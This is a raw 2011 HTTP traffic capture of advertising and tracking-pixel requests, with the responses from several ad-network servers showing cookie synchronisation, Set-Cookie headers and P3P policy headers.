GET /pixel?pixelID=40809&partnerID=228&clientID=4714&key=segment&pb=0 HTTP/1.1
Host: segment-pixel.invitemedia.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=8218888f-9a83-4760-bd14-33b4666730c0; exchange_uid=eyIyIjogWyIyNzI0Mzg2MDE5MjI3ODQ2MjE4IiwgNzM0MjQ1XSwgIjQiOiBbIkNBRVNFQ0NyZjVYQkMyTExTQ3BjRWRBVjNzVSIsIDczNDI0NF19; dp_rec="{\"1\": 1304340350+ \"3\": 1304301926+ \"2\": 1304243633+ \"5\": 1304340362+ \"4\": 1304340367}"; partnerUID="eyIzOCI6ICJ1JTNENzUyNzY5MjA0NyUzQXMxJTNEMTMwMzEyMjI5NTgxNSUzQXRzJTNEMTMwNDI4MDI3NzY0NiUzQXMyLjMzJTNEJTJDMjc0MCUyQyIsICIxOTkiOiBbIkJERkJGRkMyMzFBMjgyRDZFMjQ0NUI4RTRERTRBMkUwIiwgdHJ1ZV0sICI0OCI6IFsiNjIxMDk0NzA0Nzc4NjMwMDI2ODI4MzM4NDI2NDg1NDcxMjI4NzAiLCB0cnVlXSwgIjE5NSI6IFsiMGNiYzVmNWMtZTNlYi1lMTJkLTJjMDYtZWQ3YzQwYjE5ZTkwIiwgdHJ1ZV0sICIxOTEiOiBbIjM3MDY2OTIzNDc1MTUzNTYzNTkiLCB0cnVlXSwgIjc5IjogWyIxNzU0YmI2NTA2MjNjNWJlNDNmY2EwYjU3YzM5MTBkOSIsIHRydWVdLCAiODQiOiBbIlE0emd2bldzOTk5clRTaEIiLCB0cnVlXX0="; subID="{}"; impressions="{\"591275\": [1304301926+ \"Tb4RXwAHNm8K5ovHrlhLbw==\"+ 62899+ 25126+ 2261]+ \"578963\": [1303562003+ \"28aaa692-ea2e-30b9-be12-340089999af0\"+ 3241+ 40652+ 138]+ \"591270\": [1304243633+ \"Tb0trgAIvYcK5XcWpVIMAw==\"+ 62896+ 25126+ 11582]+ \"610342\": [1304340532+ \"e4261c72-f3c7-37cd-b374-fe89df8a4a7b\"+ 12203+ 58117+ 4038]+ \"593710\": [1304340527+ \"3fd8060e-86f9-3d78-848d-3cf86700b5f3\"+ 8863+ 40494+ 4038]+ \"405594\": [1303072666+ \"2eefac09-883b-3f77-a8a9-19e6aac05dc5\"+ 22487+ 106641+ 227]+ \"619680\": [1304542089+ \"3899594795659691748\"+ 4456+ 6017+ 11823]+ \"610341\": [1304340492+ \"7a7364c6-4495-3fd9-9cd1-35e19873ff86\"+ 12208+ 58117+ 4038]}"; camp_freq_p1=eJzjkuFYeZZVgFGi83vbOxYFRo2Tz9vfsRgwWoD5XCIc9w6wCjBJbLnw6y2LAoMGgwGDBQNQ9MpnFqCe9Wiir4CiTBLPFv1AEV0xH2T+5L7TKKI77zMDRWfNX4sQBQBNEijP; io_freq_p1="eJzjEua4GiHAKNH5ve0diwGjBZjmEuZY7yrAJLHlwq+3LAoMGgwGDBYMQMHjgQLMEuvRBLeFArVP7juNIrjXBSg4a/5ahCAAdLEcdQ=="; segments_p1="eJzjYuZojOBi4Wj6zwQkm4EkEwcHkNXZwczFzDFRBcic9JQJyJxuDGTO/AFSNQdMzv0BEl4QDGSu3c8IZG4sBjJ37GLk4uLYuY9Z4NDBZe9YgCJ734Mk9/sBmQe7GYHkoSMgjUdzgMzjT0AmnQCTJ8Hmnc4BEudAche+g0Qv7gWRTy6ANL7YzQwk34LJdwdA7vvHASLCAdDNM/A="

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:13:30 GMT
Set-Cookie: segments_p1=eJzjYuZYEMzFzHE0h4uF48QTJiB5sJsRSE56ygQUbowAEudygMRpkILjYAU7djECBf6FA5l734OY042BzDk/QHLvDjADyc4OEDn3B8iIiSpA5ovdzFxcHDv3MQscOrjsHQsXEwcHUGpjMVDqyQWQdSfBut/uBum78B3EPnQERM4Eizf/B5n0jwPIbAIz9/sBmRf3guRe7gORa/czAgDZyTWv;Path=/;Domain=invitemedia.com;Expires=Sat, 05-May-2012 19:13:30 GMT
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Content-Type: image/gif
P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Cache-Control: no-cache
Content-Length: 43
Connection: close
Server: Jetty(7.3.1.v20110307)

GIF89a.............!.......,...........D..;

GET /v1/tpix/-/-/-/-/-/sid.6543557/sid.6543598/sid.6543551 HTTP/1.1
Host: segs.btrll.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BR_MBBV=Ak2t54ZK4gSTAbNTSdI; DRN1=AGPX0VFwToY

HTTP/1.1 302 Found
Date: Sat, 07 May 2011 01:31:05 GMT
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8g
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: BR_MBBV=Ak2t54ZK4gSTAbNTSdI; expires=Sat, 05-May-2012 01:31:05 GMT; path=/; domain=.btrll.com
Expires: Tues, 01 Jan 1980 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: DRN1=AGPX0VFwToYAY9jFTmLU2QBj2O5OYtTZAGPYv05i1Nk; expires=Mon, 06-May-2013 01:31:05 GMT; path=/; domain=.btrll.com
Location: http://cache.btrll.com/default/Pix-1x1.gif
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

GET /newServing/tracking_id.php?b=1&UID=13046968344368&TRSTR=1&RTID= HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: serw.clicksor.com

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 15:47:14 GMT
Server: Apache/2.2.17 (Fedora)
X-Powered-By: PHP/5.3.5
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: TRUID=13046968344368; expires=Thu, 01-Mar-2012 15:47:14 GMT; path=/; domain=.clicksor.com
Set-Cookie: CKTIME=1304696834; expires=Thu, 01-Mar-2012 15:47:14 GMT; path=/; domain=.clicksor.com
Set-Cookie: RTID=deleted; expires=Thu, 06-May-2010 15:47:13 GMT; path=/; domain=.clicksor.com
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

GET /sync/img?mt_exid=10002&redir=http://tags.bluekai.com/site/2948?phint=idswap_partner=bk&id=PARTNER_UUID HTTP/1.1
Host: sync.mathtag.com
Proxy-Connection: keep-alive
Referer: http://tags.bluekai.com/site/2576?ret=html&phint=u=9b6b0&phint=ord=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; mt_mop=4:1304360412; ts=1304525946

HTTP/1.1 302 Found
Server: mt2/2.0.18.1573 Apr 18 2011 16:09:07 ewr-pixel-x4 pid 0x412d 16685
Cache-Control: no-cache
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Date: Sat, 07 May 2011 11:25:04 GMT
Location: http://tags.bluekai.com/site/2948?phint=idswap_partner=bk
Etag: 4dab7d35-b1d2-915a-d3c0-9d57f9c66b07
Connection: Keep-Alive
Set-Cookie: ts=1304767504; domain=.mathtag.com; path=/; expires=Sun, 06-May-2012 11:25:04 GMT
Content-Length: 0

GET /site/2576?ret=html&phint=u=80312807C795402E93C5016D2A2A3E1B&phint=ord=7169916033744.81 HTTP/1.1
Host: tags.bluekai.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2588797;type=nausc826;cat=naush555;u=80312807C795402E93C5016D2A2A3E1B;ord=7169916033744.81?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bkp1=; bku=exy99JnggW62duLG; bkou=KJhMRsOQRsq/pupQjp96B2Rp+eEV1p/66E101KjjLzXU9Wj/OQG=; bko=KJ0E8VBQrncbQvXuQ0uDJzQxJLM9R1mdp8KHRH/q96BJpDa4EQRqGJQoV10qaXJiRAiWLoQj3GObE0fj9jxNjZ5Qt95ZlKsabsPiD/Vp9/hpszW=; bkst=KJh5Mp2ny69RhZXGYeSNQbBxcaye2dK2mlYyNkQPuG7HMGGUnArQcVGuWz5IQrnAnGGGnG/m/rMQfmJ7zcOhzdVu34CmhdwX7F52gGSK88sqibrUUQt2r4zvioZk9gMNoEns8TAPFLWW4stBPPjCeoCBFITzdIcTmjxB6IsGs/oZrKncuRr/ux0QvKBuW1WW1vWwFY57BILpi5D36S+UYDb6GC0Goa09JOEDVZPwjCwcjb2mm74u1+JCKOnF2DVtHqKw8cgvXt8W/yNj6rImGTlmqIFOLjKmUDv55C9aFDs/QbpReUqAmeLW6XfcXKRGgUGNFnJWKjyoyWHEvoDgx2E6I2qjgxjYcigbNCE+Dfb4elnFripltuiqu9OCOOKR6/HQM/NmRQnvzvwMOsn2d7MFtJra4Ndd9NrqRq1=; bkw5=KJpfoXU9y1OP049nunW0JnQh1e90zc/5Z1f9LWDU/L1aGCirsuaAEicJzewXHjnh19EJPemz9avYen5BWEnqQsylpA3sYIyQ1E+nWJ7Jn0lmyvO3yzeQha7BG1qWy1eYAmXaAo7sd9sGQLzvS9yehexKWO1GX82cJGsHxHBJCQLr/bUm0v9BkiAO0pOYjEC8o8Ly1rQM0EYC0OuYj/9rI1//YGByKTxnFsyH27YMtcwqeZWS1TooqZe2NP9hjelrRJAuaOAtlo38M9p+eQy1SHnPeYkQLHzmWOzXOqG9PKRkAG0OW0xVxYfQjsOpHGHNee9VsUQgsPTyQl0blQ6uNA0Pe9hfAVuRsHRM0Uppxeq+794YB9YWAATJ; bk=bhbvxbkYUciVIHOf; bkc=KJh56gNnxkWROFe7bmNe1N0vy1vQpYvixuyGkthgrsL6BWuT+W5DsBy/AjGvJYaGfrmYeuTBJKg46O9WDA7xWBHuNaE7FUsX2plMMdrX8pf7yyGO6DsOISIStRRDnm71eoiUe55N9Pha9awSChfcJztDPpft92rpyc3tjLowMM2ZraX6c6Npct3Z2jPdjqIaQLY2UVN8R/DfwzA5sKVIMUw4hqE84EeEd8DwrrHImQxv7hUEMNfcf8Gog2yj9OG8KzjthjA7ft8yV8ooUMAHOo3w9GrUgoX6DNfjeQnk1MOtfM3PTbSXzgxqVOGHYc7XaQzp8jPF8nhHO6fmUmKcrYZFFYqf4EzaoL/P6TOyccdZc+RXn+IMNfT+fr9Z2IL35lX4BdPHBrU2dOQYzIcd4rEWOJQogh0xI0XZOzGUN06lR+p6Ug0ZKKPtb5voQmNhP71CbEGQpb2SOcBZMp++zEFlbk7F/zqUol8KDpdkw6Ixtv/=

HTTP/1.0 200 OK
Date: Fri, 06 May 2011 22:33:36 GMT
Set-Cookie: bklc=4dc47740; expires=Sun, 08-May-2011 22:33:36 GMT; path=/; domain=.bluekai.com
P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml"
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Set-Cookie: bk=hClmGTTKarbVIHOf; expires=Wed, 02-Nov-2011 22:33:36 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkc=KJh56XXgHaWDOdeFBzIwsSmjhDQBMV/1uzG6aeqsprJ+LqYxjZ1FFbJsAkijZAyoSp2KMzPLnJCZJ7IYCPnYoYyDstnawRdgFUmU7d3KzX228fbQe8Mm9sBnPbR9WJuK6M0orUbnK0eWwV1TEFrOunF9IW4jg1VGf5xbZYZFUJaajtc9kv8O0cjK1IVP2pl9bQiyLaStp0mdeU1dSzT1zK2ooFfvllvIiSp9MPUb52LL5fv4m2pB4H7MFG832E+QoFmP5hFk4KGaLr2a6TBZtbISvSdzT9Ur8c8uP+srJtXLz3zNDfN0w9ODfyDZEh6dSvSXLiUlUuQ9wzKmHfKTvSXzSjnFgDF9fdJne10DPfbx2DRameC0FBlOEU7kKE74jNPQ1a96exMqLD4rELt2XMtbUqwYfPFZ4ofMqZlCo7ZDEqZ4n6BQnw9fcp7KOtqf4dZpP2Tdkh9G7JpdI0fvEKdaqSoUgowmcyoRn32opiRzKIUlvIU97BgAE3S8fqtbI+NsKUISpttSEdAcBGw7lx==; expires=Wed, 02-Nov-2011 22:33:36 GMT; path=/; domain=.bluekai.com
Set-Cookie: bko=KJ0qh1q9TaOIhJKnTxTF96BJpDa4JQjPmWrVMTcChrGeFAG1AkYV/WmR/9mee4XIU6Rss0ena1p08GVyZOQuGuhZCi3QMoBn5QOkM5AjswSOVxYgmOZ1; expires=Wed, 02-Nov-2011 22:33:36 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkst=KJh5MfNv96WDCSz/YsjMYALCVBQrpmI5sqO/Ms+DYsa5ESAT0tyEu/3Tr0vVwAsyLC5aaO+OYNWDLqqhsuhLfs05luoT3X+lpgkpoG/Kj8sqLTr7qQD2rl6sozwOzJxwZdZqxbXmnSsRVu39VNX3Rl0KVmWqE1eUNkCkaKS9tKEghFAdoAI/K7cNhba8hYxs6JHhvRCQ9oMxr2beAIFP3zH0ZKCV0yx7VkWmPa/rxO/v3k7vJ2mJQI1UC6T5VAxbe9dMfj8/NI7sFkyjXvyE6DCeZFxbTtiNd5rTz28p8NN9fPRxO5NIi/16lyGt8EM592wvhFcSSaet37kaiKJhoQ9EESkDgQhHAI2gJp53YcAGfNZE+TfTE+qwF1rilsK+SY/OCOazRW/EQMWtmGAJv1mBMCm/24F2g4BKp4lfICdG+t54; expires=Wed, 02-Nov-2011 22:33:36 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkw5=KJhM6tJQRmY3jK9YDA/1MdxjsOQjmnAmEs5QI9KV3VETOSHRsHnzWeJq5YW0/eNzeBK1Wev7AsuTs4Ti0UQRQZu3sDT9vDsstbR/ZVN9+C+7Jz1a5oYR7uV/pmuUaZ5QDnPQRceigsjxRtJQRsc/2ynJEswI9aEORyD6CQaisQI/YjE8p0mEy1iQiuEeOjKHDZ5A69qnk/OksvW07npEEHQj2JaAZaOAYAW0xO5XRxuaxqQ2yQPK+QCfracLrVtc1/6jhExlLw833Oi0c7KyE9ZveO+FpPhsC7RcOGR6iV3saneRYyK/Y8TYUR93XhJJhL9JWQLQal90LeAMyMGss/L1FJD1n8COwklFOQkgoAGsCgN/1Ly1i8aAF7AQZlqm9tWS9njCDPQ=; expires=Wed, 02-Nov-2011 22:33:36 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkdc=res; expires=Sat, 07-May-2011 22:33:36 GMT; path=/; domain=.bluekai.com
BK-Server: a96f
Content-Length: 239
Content-Type: text/html
Connection: keep-alive

<html>
<head>
</head>
<body>
<div id="bk_exchange">
<img src="http://d.xp1.ru4.com/activity?_o=62795&_t=cm_bk&redirect=http%3A%2F%2Ftags.bluekai.com%2Fsite%2F2751%3Fid%3d%7euk%7e" width=1 height=1 bor
...[SNIP]...

GET /site/2751?id=AM-00000000030620452 HTTP/1.1
Host: tags.bluekai.com
Proxy-Connection: keep-alive
Referer: http://tags.bluekai.com/site/2576?ret=html&phint=u=80312807C795402E93C5016D2A2A3E1B&phint=ord=7169916033744.81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bkp1=; bku=exy99JnggW62duLG; bkou=KJhMRsOQRsq/pupQjp96B2Rp+eEV1p/66E101KjjLzXU9Wj/OQG=; bklc=4dc47740; bk=hClmGdJCToZVIHOf; bkc=KJh56XXgHaWDOdeFBzIwsSmjhDQBMV/1uzG6aeqsprJ+LqYxjZ1FFbJsAkijZAyoSp2KMzPLnJCZJ7IYCPnYoYyDstnawRdgFUmU7d3KzX228fbQe8Mm9sBnPbR9WJuK6M0orUbnK0eWwV1TEFrOunF9IW4jg1VGf5xbZYZFUJaajtc9kv8O0cjK1IVP2pl9bQiyLaStp0mdeU1dSzT1zK2ooFfvllvIiSp9MPUb52LL5fv4m2pB4H7MFG832E+QoFmP5hFk4KGaLr2a6TBZtbISvSdzT9Ur8c8uP+srJtXLz3zNDfN0w9ODfyDZEh6dSvSXLiUlUuQ9wzKmHfKTvSXzSjnFgDF9fdJne10DPfbx2DRameC0FBlOEU7kKE74jNPQ1a96exMqLD4rELt2XMtbUqwYfPFZ4ofMqZlCo7ZDEqZ4n6BQnw9fcp7KOtqf4dZpP2Tdkh9G7JpdI0fvEKdaqSoUgowmcyoRn32opiRzKIUlvIU97BgAE3S8fqtbI+NsKUISpttSEdAcBGw7lx==; bko=KJ0qh1q9TaOIhJKqTxTF96BJpDa4JQjPmWrVMTcChrGeFAG1AkYV/WmR/9mee4XIU6Rss0ena1p08GVyZOQuGuhZCi3QMoBn5QOkM5AjswSOVxYg7CZB; bkst=KJhkMfNv96WDCSz/YsjMYALCVBQrpmI5sqO/Ms+DYYsrokuzjqRJJWUzUHan70ORtRLiiGtQCuQHLqqhsuhLfs05lugGgRqF7cwFZHJb7WPrpibKtiU6fBTpvO76OXBLD12KcjgXH0XmnSs/Vu39VNX3RlyKVIWqE1eUNkCkaKS9t4MphF74oNK/S7fGtba8hYxs6JHhvRCQ9oMxr2beAbFk3zH0AViUiyx7VkWmPa/rxO/v3kf/J2mJQImJxbzmnun5fH8sthtHgBmB4q7u8tAgovssJmb6Hra3Xb5t8fp7pgr9ZG6QeB32nQbuqYFRkvBAe6yMcDPgylfH3InkJ4nME9WZZkvoUOZihkdUE38PWwJxNgWZShph7quUKo58rR2vlAxYYYmTy/EsOsBL5OyHD/RqczDxbq4fVIK2ZFFp2PdA3s6B; bkw5=KJhgDsHQRmY3jK9YDA/1XHG1e/y17aycoM1yLsACj/xjcrAMjwbOjuGj4QWoPGRWBTE1akt/eWQwaX1N/TE1vuxjqGSdue/KCiYjSGRExW3xTqRoxZRqAmlsVzkyQH6AjZzJ/Mw8ozDjsax+sOizmvLjNJQRsaQRXgN91+mRwyOPXaQOMVs9Z1ReRQJkdFw/Je90SYnJz1akoBxjsqEO1iPQsDSGeY4F5OBsO76AsuRDZDvxeB9aUhCORHOrMlYOk0lYcZTDKtfq/DhMHMcBeS0dsi3sg1z5namY/LwsVpmUASc5QRWCESvS/xDL2L/OTGv7xOKQ0ghWAMayQLxY09VzespminYm9zRi9tXkyy+ZAWdUr6cYZ3ZuQVWFAQypyt/AZVXK0vS5X6YROQ9B3Nuw; bkdc=res

HTTP/1.0 200 OK
Date: Fri, 06 May 2011 22:33:40 GMT
P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml"
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Set-Cookie: bk=kLyq54JCToZVIHOf; expires=Wed, 02-Nov-2011 22:33:40 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkc=KJh5666GHaWDOdedjU01MXSYNOeasOvvD1hZ01qiqqsyAsjMnNIBsAkiHDtDLFRhBHSpLVYR0zgSx3AJAfJxq/QP8p0r2X85drodpMll74Lr0QOFaCijFf/DQ9F05S46o15haUkisyifws8TpceJZ7Hl+EElNT8P99tBYL14sSL//5rHjxCpUM+nHu5IyY/UGBot6Me7+UzvQSPOReSSLz2MFyN/wh7Kfo4K1Lp2+q2oF+sTyZliX+dND2JeU5nIPr7pGwHByvM4QeY4gfNjEFzoDRidobNYNBCIBzh8fP/FAvw2HOJor8b21iz51XpNtM6I/cIF1cqLI1Wy8fDE+m2DYZQf5OhSAISX5A1kFqzVCx3UUT/x8gpts5PfbelFcECKq8nZFwR1p4KjPIMpou6wkmlQGlupTUjbMtTUnW3UnDQdE6FUNDgpwBGVfK4nGhetdzfcfrZ9LwtddBkn22d+PDQ574Tfa8eZ2I/tNtLUA8wfYQZUGTqMFRb22w6r50WzVjDKiA7qKlUNryF/dM04tp042QXi+dcO; expires=Wed, 02-Nov-2011 22:33:40 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkst=KJh5Ae2ny69RhZXGYeSNQt8YzU9BlBdlfLYCLRNP/jxSfSCT/PAvfPeEieMbYR3Er0iir9Qbia/HjhzdQTmnZbrUQaOXoIw8wzI2pN6JwzTimtzUE6WJw5Fp9F/YadXBy69hafujFPGILUyso4NK48eNbTU6R3PkansRYrYhv8DhnA2iTHo1yBVhiPVL1941hoXlNFXI4RVG8krdgEuwZ1x9ZM/rOHa19OBbNlZyra3Ku3yDiSOzJeMHi7vQA7/OAkOx2xv4EYzmMi5VmgUuW+v5pZs6lHqom+lRkbL2wZ3aBBuxJrlV1syt4ZolN7+rFRrGT4ZCclxftWIpnU2Ee+121B8Gsv6BKAVFiomU0JzpOjCGu3V0jRQS4NNqUvLQ8vYLcjF1mI/fGIf/rzpn4PE0JCJ9s1WaJMxC2oIBEi/Y07YMGyxidUjdSfNUzdIKdQFOoVTw; expires=Wed, 02-Nov-2011 22:33:40 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkdc=res; expires=Sat, 07-May-2011 22:33:40 GMT; path=/; domain=.bluekai.com
BK-Server: 1c6d
Content-Length: 62
Content-Type: image/gif
Connection: keep-alive

GIF89a.............!..NETSCAPE2.0.....!.. ....,...........L..;

GET /site/2753?id=c1e1301e-3a1f-4ca7-9870-f636b5f10e66 HTTP/1.1
Host: tags.bluekai.com
Proxy-Connection: keep-alive
Referer: http://tags.bluekai.com/site/2576?ret=html&phint=u=80312807C795402E93C5016D2A2A3E1B&phint=ord=7169916033744.81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bkp1=; bku=exy99JnggW62duLG; bkou=KJhMRsOQRsq/pupQjp96B2Rp+eEV1p/66E101KjjLzXU9Wj/OQG=; bklc=4dc47740; bk=hClmGdJCToZVIHOf; bkc=KJh56XXgHaWDOdeFBzIwsSmjhDQBMV/1uzG6aeqsprJ+LqYxjZ1FFbJsAkijZAyoSp2KMzPLnJCZJ7IYCPnYoYyDstnawRdgFUmU7d3KzX228fbQe8Mm9sBnPbR9WJuK6M0orUbnK0eWwV1TEFrOunF9IW4jg1VGf5xbZYZFUJaajtc9kv8O0cjK1IVP2pl9bQiyLaStp0mdeU1dSzT1zK2ooFfvllvIiSp9MPUb52LL5fv4m2pB4H7MFG832E+QoFmP5hFk4KGaLr2a6TBZtbISvSdzT9Ur8c8uP+srJtXLz3zNDfN0w9ODfyDZEh6dSvSXLiUlUuQ9wzKmHfKTvSXzSjnFgDF9fdJne10DPfbx2DRameC0FBlOEU7kKE74jNPQ1a96exMqLD4rELt2XMtbUqwYfPFZ4ofMqZlCo7ZDEqZ4n6BQnw9fcp7KOtqf4dZpP2Tdkh9G7JpdI0fvEKdaqSoUgowmcyoRn32opiRzKIUlvIU97BgAE3S8fqtbI+NsKUISpttSEdAcBGw7lx==; bko=KJ0qh1q9TaOIhJKqTxTF96BJpDa4JQjPmWrVMTcChrGeFAG1AkYV/WmR/9mee4XIU6Rss0ena1p08GVyZOQuGuhZCi3QMoBn5QOkM5AjswSOVxYg7CZB; bkst=KJhkMfNv96WDCSz/YsjMYALCVBQrpmI5sqO/Ms+DYYsrokuzjqRJJWUzUHan70ORtRLiiGtQCuQHLqqhsuhLfs05lugGgRqF7cwFZHJb7WPrpibKtiU6fBTpvO76OXBLD12KcjgXH0XmnSs/Vu39VNX3RlyKVIWqE1eUNkCkaKS9t4MphF74oNK/S7fGtba8hYxs6JHhvRCQ9oMxr2beAbFk3zH0AViUiyx7VkWmPa/rxO/v3kf/J2mJQImJxbzmnun5fH8sthtHgBmB4q7u8tAgovssJmb6Hra3Xb5t8fp7pgr9ZG6QeB32nQbuqYFRkvBAe6yMcDPgylfH3InkJ4nME9WZZkvoUOZihkdUE38PWwJxNgWZShph7quUKo58rR2vlAxYYYmTy/EsOsBL5OyHD/RqczDxbq4fVIK2ZFFp2PdA3s6B; bkw5=KJhgDsHQRmY3jK9YDA/1XHG1e/y17aycoM1yLsACj/xjcrAMjwbOjuGj4QWoPGRWBTE1akt/eWQwaX1N/TE1vuxjqGSdue/KCiYjSGRExW3xTqRoxZRqAmlsVzkyQH6AjZzJ/Mw8ozDjsax+sOizmvLjNJQRsaQRXgN91+mRwyOPXaQOMVs9Z1ReRQJkdFw/Je90SYnJz1akoBxjsqEO1iPQsDSGeY4F5OBsO76AsuRDZDvxeB9aUhCORHOrMlYOk0lYcZTDKtfq/DhMHMcBeS0dsi3sg1z5namY/LwsVpmUASc5QRWCESvS/xDL2L/OTGv7xOKQ0ghWAMayQLxY09VzespminYm9zRi9tXkyy+ZAWdUr6cYZ3ZuQVWFAQypyt/AZVXK0vS5X6YROQ9B3Nuw; bkdc=res

HTTP/1.0 200 OK
Date: Fri, 06 May 2011 22:33:23 GMT
Set-Cookie: bklc=4dc47733; expires=Sun, 08-May-2011 22:33:23 GMT; path=/; domain=.bluekai.com
P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml"
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Set-Cookie: bk=QT5qXdJCToZVIHOf; expires=Wed, 02-Nov-2011 22:33:23 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkc=KJh56XXgHaWDOdeF7HAdhGdsQ+xxhHiua/jiB+CjFmtyLJOZR0IdsMVuh/3SEYkgwbqsRMRVEWqIO9rkJApvxgWCPopprBTf5dZoff7llc4m3bLYo7SO6zPguysG/6XSMCZrtJer38KK2MArAvrFQ9sURyFu7B5mNQ9+gxgMcyVgeacqXPD/zNffiGomQTOa23eK5+Ry8fUlF1evYeY4vBMlL5IsojX1fy8JfhMZXfVd3qIJk1J+8Fn4pEwuRfluyDfoife6EziGlT/ylbI2UDlF3PO/FKz+nhoLFhgZFcSkc0MuwmmjFalwUkrxECgZKrlI9aYbPTi5mcTypc7+e16fkymbMChcBbx8g2NuudFjGPeMXALRyopUw35bcIlqd3cMpEjopZFwDUI4JRUOxBf0x5Amw63lsIbZ4UEqL0h5+uE2wYF5NYMBdVCqBJXF7XJGTnzd57XwCmldbX2IK7XbGo9fwF+l1uEBII/tNtrUAf1cYCZUWTjEWz5II7bUSxMcNbUcA+ntUal7lRUAI504t2042Qdie4ag; expires=Wed, 02-Nov-2011 22:33:23 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkst=KJh5Ae2n9pWRCp1DOcrNQbBxcaywXF5B9Qb+KkSaDrooHbD8zArCcKg5iEMbYR3Er0iir9Qbia/HjhzdQTmnZbr8z0kZYgdlI4WIuxA2piJlpibKViU6fmTpvO76OXBLD12KUEHh6HvviYD1WIrpcGk2cFVAg8UW4Qy1M/QJ+QYLTadIKsSo9s823RphKV0aqp9OUN+MkPVR9tqMphFcF6IFaBUzT++aXTCJev9oTN/xyxxyG4KXOpKrk3zS06VMPuTS7sCamPOJrxOJvvCb1EbjqCyzENh6b3Jaoer5yti7nj/Br+ZEvltKBA1SSAMi571Dg3lINmTzKIfROqESY1vQNKlQ/1ZtQ068uFqOBBJH+efLaNTPn84/kp1aZsCvoU/0H/tdg+tTPAc/xN7qZ3hhhc4Eqro587/4k5hW9QQMr1YWr+dWtmQT/391Bp3v/5JF2fKmFjgf2dH4LBkpuQ==; expires=Wed, 02-Nov-2011 22:33:23 GMT; path=/; domain=.bluekai.com
